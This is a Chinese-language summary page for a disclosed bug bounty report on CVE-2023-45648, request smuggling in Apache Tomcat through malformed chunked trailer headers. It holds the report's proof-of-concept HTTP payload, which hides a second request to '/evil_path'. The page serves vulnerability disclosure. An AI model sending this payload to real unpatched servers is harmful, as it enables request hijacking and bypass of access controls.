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地图 / Request Smuggling in Apache Tomcat (Important, CVE-2023-45648)

Request Smuggling in Apache Tomcat (Important, CVE-2023-45648)

注入与走私 / HTTP 请求走私 / #2299692

厂商
Internet Bug Bounty
严重程度
中危 · CVSS 8.2
赏金
$4,660
弱点
HTTP 请求走私
研究员
@mukeran
披露日期
2024-02-07
资产
https://github.com/apache/tomcat
CVE
CVE-2023-45648

该报告还没有中文解读。

原文摘录

摘自原文(1959 字符中的一小部分)
Apache Tomcat supports Trailer Section. However, we found that in version prior than 11.0.0-M11, 10.1.13, 9.0.80, 8.5.93, Apache Tomcat cannot properly parse the trailer section if there's no colon in the trailer header's line. It will skip the following lines until the last line with a valid …
原文中的代码
POST /benign_path HTTP/1.1
Host: a.com
Connection: keep-alive
Transfer-Encoding: chunked

5
12345
0
Content: hello
a

POST /benign_path HTTP/1.1
Host: a.com
Connection: keep-alive
Content-Length: 37

GET /evil_path HTTP/1.1
Any: any
Host: b.com

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Internet Bug Bounty 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @mukeran · 版权归作者与 Internet Bug Bounty 所有

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